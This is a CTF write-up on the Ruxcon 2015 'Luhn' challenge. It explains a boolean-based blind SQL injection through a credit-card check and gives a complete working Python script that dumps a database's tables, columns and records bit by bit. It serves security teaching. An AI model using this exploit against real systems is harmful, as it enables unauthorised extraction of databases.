Luhn - Ruxcon CTF 2015 SQLi
This exercise is part of the Capture-The-Flag badge and focuses on SQL injection in the Luhn challenge from Ruxcon CTF 2015.
Luhn algorithm
Section titled “Luhn algorithm”
The Luhn algorithm (or “mod 10” check), created by Hans Peter Luhn, is a simple checksum method used to verify identification numbers like credit cards and IMEI numbers. It works by applying a specific pattern of doubling and summing digits to detect common input errors, helping improve data accuracy and reliability—especially for sensitive information.
But:
- It does not confirm that a number is real or active—only that it follows a valid pattern
- It cannot detect all types of errors (e.g., some complex digit rearrangements)
- It provides no security or fraud protection against intentional misuse
- It shouldn’t be used as the sole method for validating sensitive data
SQL Injection (Boolean-Based Blind)
Section titled “SQL Injection (Boolean-Based Blind)”The target application is a simple web service that validates credit card numbers using the Luhn algorithm. Before validation, it strips out all non-numeric characters, ensuring that only digits are processed. If the resulting number satisfies the Luhn check, the application proceeds to query a backend database to determine whether the card has been compromised.
However, the application introduces a critical vulnerability at this stage: it directly embeds user input into an SQL query without proper sanitization or parameterization.
Although the application does not return raw query results, it does reveal a boolean outcome—whether the credit card is “compromised” or not. This behavior effectively creates a Boolean-based blind SQL injection oracle, where the presence or absence of a specific response string can be used to infer truth values of injected conditions.
Exploitation Strategy
Section titled “Exploitation Strategy”The attack leverages the application’s binary response as an oracle:
-
If the injected SQL condition evaluates to true, the application returns:
“Your CC has been compromised”
-
Otherwise, it returns a different response.
Using this behavior, the exploit extracts information from the database bit by bit.
Data Extraction Approach
Section titled “Data Extraction Approach”-
Boolean Oracle Construction The payload is injected in the form:
1' OR (<condition>) --This allows arbitrary SQL conditions to be evaluated.
-
Numeric Extraction (
dumpNumber) Numerical values (e.g., counts, lengths) are reconstructed using bitwise queries:(<query>) & (2^p) > 0Each bit is tested individually to rebuild the full integer.
-
String Extraction (
dumpString) Strings are extracted character by character using:ASCII(SUBSTRING((<query>), i, 1)) & (2^p) > 0Each character is reconstructed from its ASCII value, bit by bit.
#!/usr/bin/python3
import requestsimport sysimport random
COMPROMISED_MSG = "Your CC has been compromised"
class Luhn:
def validate(self, number: str) -> bool: """ Validates a credit card number using the Luhn algorithm. Processes digits right-to-left: doubles every second digit, subtracts 9 if result > 9, then checks if total sum % 10 == 0. """ # Strip non-digit characters and convert to ints in one pass digits = [int(d) for d in number if d.isdigit()]
# Luhn checksum: enumerate reversed digits, double every odd index # Using a generator avoids building an intermediate list checksum = sum( (d * 2 - 9 if d * 2 > 9 else d * 2) if i % 2 == 1 else d for i, d in enumerate(reversed(digits)) )
return checksum % 10 == 0
def generate_valid(self, cc: str) -> str: """ Appends digits to `cc` until the full number passes Luhn validation.
If the current digit count is even, append an extra '0' as a probe digit during validation without committing it to the payload, ensuring parity alignment for the Luhn doubling pattern. """ payload = str(cc)
while True: next_digit = str(random.randint(0, 9))
# Count only digits already in the payload digit_count = sum(1 for c in payload if c.isdigit())
# Align parity: if digit count is even, suffix a '0' probe so # the Luhn check sees an odd-length string and doubles correctly probe = next_digit + ("0" if digit_count % 2 == 0 else "")
if self.validate("".join(c for c in payload if c.isdigit()) + probe): # Valid — commit only the chosen digit (drop the probe '0') return payload + next_digit
# Not valid yet — commit this digit and keep extending payload += next_digit
class Exploit: def __init__(self, url: str): self.url = url self.session = requests.Session()
def oracle(self, query: str) -> bool:
cc = "1' or ({}) -- ".format(query) # Generate Luhn valid payload using iterative approach luhn = Luhn() valid_cc = luhn.generate_valid(cc)
r = requests.post(self.url, data={"cc": valid_cc})
if COMPROMISED_MSG in r.text: return True return False
def dumpNumber(self, q): length = 0 for p in range(7): if self.oracle(f"({q})&{2**p}>0"): length |= 2**p return length
def dumpString(self, q, length): val = "" empty_count = 0 for i in range(1, length + 1): c = 0 for p in range(7): if self.oracle(f"ASCII(SUBSTRING(({q}),{i},1)) & {2**p} > 0"): c |= 2**p char = chr(c) val += char
# Early termination if 3 consecutive empty characters if char == '\x00' or c == 0: empty_count += 1 if empty_count >= 3: print(f"[*] Early termination: 3 consecutive empty characters at position {i}") break else: empty_count = 0
return val.strip('\x00')
def dumpTableNames(self) -> list[dict[str, int | str]]: print("[+] Dumping tables...") tables_count = self.dumpNumber("SELECT COUNT(*) FROM information_schema.tables WHERE table_schema NOT IN ('mysql', 'information_schema')") print(f"[+] Tables count: {tables_count}")
tables = [] for i in range(tables_count): table_name_length = self.dumpNumber(f"SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema NOT IN ('mysql', 'information_schema') LIMIT 1 OFFSET {i}") table_name = Exploit(URL).dumpString(f"SELECT table_name FROM information_schema.tables WHERE table_schema NOT IN ('mysql', 'information_schema') LIMIT 1 OFFSET {i}", table_name_length) tables.append({"length": table_name_length, "name": table_name})
return tables
def dumpColumnNames(self, table_name: str) -> list[str]: print(f"[+] Dumping columns of table: {table_name}") columns_count = self.dumpNumber(f"SELECT COUNT(*) FROM information_schema.columns WHERE table_name = '{table_name}'") print(f"[+] Columns count: {columns_count}")
# Use CONCAT to get all column names in one request per row concat_query = f"CONCAT_WS(',', (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = '{table_name}'))" concatenated_columns = self.dumpString(concat_query, 50) # Assume max 50 chars for all column names
# Split the concatenated string into individual column names columns = concatenated_columns.split(',') if concatenated_columns else []
return columns
def dumpRecord(self, table_name: str, columns: list[str]) -> list[str]: print(f"[+] Dumping values of table: {table_name}")
values_count = self.dumpNumber(f"SELECT COUNT(*) FROM {table_name}") print(f"[+] Records count: {values_count}")
if not values_count: return []
records = [] for i in range(values_count): if len(columns) == 1: query = f"SELECT {columns[0]} FROM {table_name} LIMIT 1 OFFSET {i}" else: col_expr = ", ".join(f"IFNULL({col}, 'NULL')" for col in columns) query = f"SELECT CONCAT_WS('::', {col_expr}) FROM {table_name} LIMIT 1 OFFSET {i}"
value = self.dumpString(query, 100) # Assume max 100 chars for each record records.append(value)
return records
if __name__ == "__main__":
if len(sys.argv) < 2: print("Usage: python3 exploit.py <url>") sys.exit(1)
URL = sys.argv[1] print(f"[+] Target: {URL}")
tables = Exploit(URL).dumpTableNames() print(f"[+] Tables: {tables}") # returns cc, scoring_key
# get columns of scoring_key table columns = Exploit(URL).dumpColumnNames("scoring_key") print(f"[+] Columns: {columns}")
# get records from scoring_key table records = Exploit(URL).dumpRecord("scoring_key", columns) print(f"[+] Records: {records}") for record in records: if "::" in record: record_id, record_value = record.split("::") print(f"[+] Record ID: {record_id}, Value: {record_value}")This line is accumulating bits to reconstruct a number (a character’s ASCII value) from individual boolean oracle responses.
ASCII character has 7 significant bits (the 8th/MSB is always 0 for standard ASCII: values 0–127)
127 ->
01111111
c = 0for p in range(7): if self.oracle(f"ASCII(SUBSTRING(...)) & {2**p} > 0"): c |= 2**pEach iteration asks the database: “is bit p set in this character’s ASCII value?”
Step by step — say the character is A (ASCII 65)
65 in binary is 01000001, so bits 0 and 6 are set.
| p | 2**p | oracle asks 65 & 2**p > 0 | oracle returns | c after c |= 2**p |
|---|---|---|---|---|
| 0 | 1 | 65 & 1 > 0 | True | 0 | 1 = 1 |
| 1 | 2 | 65 & 2 > 0 | False | stays 1 |
| 2 | 4 | 65 & 4 > 0 | False | stays 1 |
| 3 | 8 | 65 & 8 > 0 | False | stays 1 |
| 4 | 16 | 65 & 16 > 0 | False | stays 1 |
| 5 | 32 | 65 & 32 > 0 | False | stays 1 |
| 6 | 64 | 65 & 64 > 0 | True | 1 | 64 = 65 |
chr(65) == 'A'65 = 1 0 0 0 0 0 1 1 = 0 0 0 0 0 0 1 ───────────── & = 0 0 0 0 0 0 1 = 1& compares each bit position — output is 1 only where both inputs have a 1. Every other bit in 1 is 0, so they all cancel out, leaving only bit 0.
Result is either:
0 — bit 0 was not set → oracle returns False 1 — bit 0 was set → oracle returns True
So 65 & 1 = 1, meaning bit 0 is set in 65.
What |= actually does
c |= 2**p is shorthand for c = c | 2**p — bitwise OR, which sets a specific bit in c without touching any of the others:
c = 0000001 (after p=0)2**6 = 1000000c | 64 = 1000001 = 65It’s essentially using c as a bitmap — each oracle response “switches on” one bit until all 7 are resolved and the full ASCII value is reconstructed.